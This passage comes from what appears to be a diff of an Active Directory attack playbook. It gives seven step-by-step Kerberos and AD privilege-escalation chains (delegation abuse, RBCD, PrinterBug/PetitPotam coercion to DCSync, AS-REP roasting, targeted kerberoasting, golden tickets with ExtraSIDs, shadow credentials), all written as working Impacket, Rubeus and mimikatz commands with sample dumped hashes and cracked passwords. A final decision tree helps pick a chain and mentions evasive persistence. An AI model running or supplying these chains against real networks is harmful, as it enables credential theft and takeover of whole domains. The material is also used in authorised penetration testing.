20
|
+
│ → svc_backup has constrained delegation to cifs/DC01.domain.com
|
|
21
|
+
│
|
|
22
|
+
Step 3: S4U2Self + S4U2Proxy
|
|
23
|
+
│ getST.py -spn cifs/DC01.domain.com -impersonate administrator DOMAIN/svc_backup:P@ssw0rd2024
|
|
24
|
+
│
|
|
25
|
+
Step 4: Access DC as administrator
|
|
26
|
+
│ export KRB5CCNAME=administrator.ccache
|
|
27
|
+
│ secretsdump.py -k -no-pass DC01.domain.com
|
|
28
|
+
│ → Domain hashes dumped
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## 2. CHAIN: RBCD + KERBEROS → LATERAL MOVEMENT
|
|
34
|
+
|
|
35
|
+
### Scenario
|
|
36
|
+
Write access to a computer's `msDS-AllowedToActOnBehalfOfOtherIdentity` → RBCD → lateral to that host.
|
|
37
|
+
|
|
38
|
+
```
|
|
39
|
+
Step 1: Identify writable computer object
|
|
40
|
+
│ (via BloodHound: GenericWrite on TARGET$)
|
|
41
|
+
│
|
|
42
|
+
Step 2: Create machine account
|
|
43
|
+
│ addcomputer.py -computer-name 'EVIL$' -computer-pass 'Passw0rd!' DOMAIN/user:pass -dc-ip DC
|
|
44
|
+
│
|
|
45
|
+
Step 3: Set RBCD
|
|
46
|
+
│ rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
|
|
47
|
+
│
|
|
48
|
+
Step 4: S4U chain
|
|
49
|
+
│ getST.py -spn cifs/TARGET.domain.com -impersonate administrator DOMAIN/'EVIL$':'Passw0rd!' -dc-ip DC
|
|
50
|
+
│
|
|
51
|
+
Step 5: Use ticket
|
|
52
|
+
│ export KRB5CCNAME=administrator.ccache
|
|
53
|
+
│ psexec.py -k -no-pass TARGET.domain.com
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## 3. CHAIN: UNCONSTRAINED DELEGATION + PRINTERBUG → DCSYNC
|
|
59
|
+
|
|
60
|
+
### Scenario
|
|
61
|
+
Compromised host with unconstrained delegation → coerce DC → capture DC TGT → DCSync.
|
|
62
|
+
|
|
63
|
+
```
|
|
64
|
+
Step 1: Confirm unconstrained delegation
|
|
65
|
+
│ Get-DomainComputer -Unconstrained (via PowerView)
|
|
66
|
+
│ → WEBSRV01.domain.com has unconstrained delegation
|
|
67
|
+
│
|
|
68
|
+
Step 2: Start Rubeus monitor on WEBSRV01
|
|
69
|
+
│ Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC01$
|
|
70
|
+
│
|
|
71
|
+
Step 3: Coerce DC authentication
|
|
72
|
+
│ # From any domain machine, trigger PrinterBug:
|
|
73
|
+
│ SpoolSample.exe DC01.domain.com WEBSRV01.domain.com
|
|
74
|
+
│ # Or PetitPotam:
|
|
75
|
+
│ PetitPotam.py WEBSRV01.domain.com DC01.domain.com
|
|
76
|
+
│
|
|
77
|
+
Step 4: Capture DC01$ TGT from Rubeus output
|
|
78
|
+
│ Rubeus.exe ptt /ticket:base64_DC01_TGT
|
|
79
|
+
│
|
|
80
|
+
Step 5: DCSync with DC machine ticket
|
|
81
|
+
│ mimikatz # lsadump::dcsync /domain:domain.com /user:krbtgt
|
|
82
|
+
│ → krbtgt hash obtained → golden ticket capability
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## 4. CHAIN: AS-REP ROAST → ACL ABUSE → DCSYNC
|
|
88
|
+
|
|
89
|
+
### Scenario
|
|
90
|
+
No creds initially → AS-REP roast → cracked user has DCSync rights via ACL path.
|
|
91
|
+
|
|
92
|
+
```
|
|
93
|
+
Step 1: Enumerate users without preauth (no creds needed)
|
|
94
|
+
│ GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC -format hashcat
|
|
95
|
+
│ → $krb5asrep$23$svc_monitor@DOMAIN:...
|
|
96
|
+
│
|
|
97
|
+
Step 2: Crack AS-REP hash
|
|
98
|
+
│ hashcat -m 18200 asrep.txt wordlist.txt
|
|
99
|
+
│ → svc_monitor / Welcome2024!
|
|
100
|
+
│
|
|
101
|
+
Step 3: BloodHound enumeration
|
|
102
|
+
│ bloodhound-python -d domain.com -u svc_monitor -p Welcome2024! -c all -dc DC01
|
|
103
|
+
│ → svc_monitor has GenericAll on IT-ADMINS group
|
|
104
|
+
│ → IT-ADMINS group has DCSync rights
|
|
105
|
+
│
|
|
106
|
+
Step 4: Add self to IT-ADMINS
|
|
107
|
+
│ net rpc group addmem "IT-ADMINS" svc_monitor -U DOMAIN/svc_monitor -S DC01
|
|
108
|
+
│
|
|
109
|
+
Step 5: DCSync
|
|
110
|
+
│ secretsdump.py DOMAIN/svc_monitor:Welcome2024!@DC01
|
|
111
|
+
│ → All domain hashes
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## 5. CHAIN: TARGETED KERBEROAST VIA ACL
|
|
117
|
+
|
|
118
|
+
### Scenario
|
|
119
|
+
GenericWrite on a user → set SPN → kerberoast → crack password.
|
|
120
|
+
|
|
121
|
+
```
|
|
122
|
+
Step 1: Identify GenericWrite permission
|
|
123
|
+
│ BloodHound: user "lowpriv" has GenericWrite on "svc_admin"
|
|
124
|
+
│
|
|
125
|
+
Step 2: Set SPN on target user (targeted kerberoasting)
|
|
126
|
+
│ # PowerView
|
|
127
|
+
│ Set-DomainObject -Identity svc_admin -Set @{serviceprincipalname='fake/service'}
|
|
128
|
+
│ # Or Impacket
|
|
129
|
+
│ addspn.py -u DOMAIN/lowpriv -p password -t svc_admin -s fake/service DC01
|
|
130
|
+
│
|
|
131
|
+
Step 3: Kerberoast the target
|
|
132
|
+
│ GetUserSPNs.py DOMAIN/lowpriv:password -dc-ip DC01 -request-user svc_admin
|
|
133
|
+
│
|
|
134
|
+
Step 4: Crack and clean up
|
|
135
|
+
│ hashcat -m 13100 tgs.txt wordlist.txt
|
|
136
|
+
│ # Remove the fake SPN
|
|
137
|
+
│ Set-DomainObject -Identity svc_admin -Clear serviceprincipalname
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## 6. CHAIN: GOLDEN TICKET → CROSS-DOMAIN ESCALATION
|
|
143
|
+
|
|
144
|
+
### Scenario
|
|
145
|
+
Compromised child domain → golden ticket with SID history → enterprise admin in parent domain.
|
|
146
|
+
|
|
147
|
+
```
|
|
148
|
+
Step 1: Obtain child domain krbtgt hash
|
|
149
|
+
│ secretsdump.py CHILD/administrator@childDC -just-dc-user krbtgt
|
|
150
|
+
│
|
|
151
|
+
Step 2: Get parent domain SID and Enterprise Admins group RID
|
|
152
|
+
│ lookupsid.py PARENT/user:pass@parentDC 0
|
|
153
|
+
│ → Parent Domain SID: S-1-5-21-PARENT...
|
|
154
|
+
│ → Enterprise Admins RID: 519
|
|
155
|
+
│
|
|
156
|
+
Step 3: Forge golden ticket with SID history (ExtraSIDs)
|
|
157
|
+
│ ticketer.py -nthash KRBTGT_HASH \
|
|
158
|
+
│ -domain-sid S-1-5-21-CHILD... \
|
|
159
|
+
│ -domain CHILD.PARENT.COM \
|
|
160
|
+
│ -extra-sid S-1-5-21-PARENT...-519 \
|
|
161
|
+
│ administrator
|
|
162
|
+
│
|
|
163
|
+
Step 4: Access parent domain DC
|
|
164
|
+
│ export KRB5CCNAME=administrator.ccache
|
|
165
|
+
│ psexec.py -k -no-pass PARENT.COM/administrator@parentDC.parent.com
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## 7. CHAIN: SHADOW CREDENTIALS + KERBEROS
|
|
171
|
+
|
|
172
|
+
### Scenario
|
|
173
|
+
GenericWrite on user → Shadow Credentials → certificate-based auth → TGT.
|
|
174
|
+
|
|
175
|
+
```
|
|
176
|
+
Step 1: Identify GenericWrite on target user/computer
|
|
177
|
+
│ BloodHound path analysis
|
|
178
|
+
│
|
|
179
|
+
Step 2: Add shadow credential (msDS-KeyCredentialLink)
|
|
180
|
+
│ # Whisker (Windows)
|
|
181
|
+
│ Whisker.exe add /target:svc_admin /domain:domain.com /dc:DC01
|
|
182
|
+
│ → Certificate and device ID generated
|
|
183
|
+
│
|
|
184
|
+
│ # pyWhisker (Linux)
|
|
185
|
+
│ pywhisker.py -d domain.com -u lowpriv -p password --target svc_admin --action add --dc-ip DC01
|
|
186
|
+
│
|
|
187
|
+
Step 3: Use certificate to get TGT (PKINIT)
|
|
188
|
+
│ Rubeus.exe asktgt /user:svc_admin /certificate:cert.pfx /password:certpass /ptt
|
|
189
|
+
│
|
|
190
|
+
│ # Or with PKINITtools
|
|
191
|
+
│ gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass DOMAIN/svc_admin tgt.ccache
|
|
192
|
+
│
|
|
193
|
+
Step 4: Use TGT for further attacks
|
|
194
|
+
│ export KRB5CCNAME=tgt.ccache
|
|
195
|
+
│ # Now act as svc_admin
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
---
|
|
199
|
+
|
|
200
|
+
## 8. ATTACK CHAIN SELECTION GUIDE
|
|
201
|
+
|
|
202
|
+
```
|
|
203
|
+
What access do you have?
|
|
204
|
+
│
|
|
205
|
+
├── No domain creds
|
|
206
|
+
│ ├── Username list available? → AS-REP Roast (Chain 4)
|
|
207
|
+
│ └── Network access only? → NTLM relay → see ntlm-relay-coercion
|
|
208
|
+
│
|
|
209
|
+
├── Low-privilege domain user
|
|
210
|
+
│ ├── Kerberoastable SPNs found? → Kerberoast chain (Chain 1)
|
|
211
|
+
│ ├── GenericWrite on user? → Targeted Kerberoast (Chain 5) or Shadow Creds (Chain 7)
|
|
212
|
+
│ ├── GenericWrite on computer? → RBCD (Chain 2)
|
|
213
|
+
│ └── Host with unconstrained delegation? → PrinterBug chain (Chain 3)
|
|
214
|
+
│
|
|
215
|
+
├── Service account compromised
|
|
216
|
+
│ ├── Has constrained delegation? → S4U chain (Chain 1)
|
|
217
|
+
│ └── No delegation? → Silver ticket for specific service
|
|
218
|
+
│
|
|
219
|
+
├── Domain Admin in child domain
|
|
220
|
+
│ └── Want parent domain? → Golden ticket + ExtraSIDs (Chain 6)
|
|
221
|
+
│
|
|
222
|
+
└── Have krbtgt hash
|
|
223
|
+
├── Golden ticket (basic persistence)
|
|
224
|
+
├── Diamond ticket (evasive persistence)
|
|
225
|
+
└── Sapphire ticket (hardest to detect)
|
|
226
|
+
```
|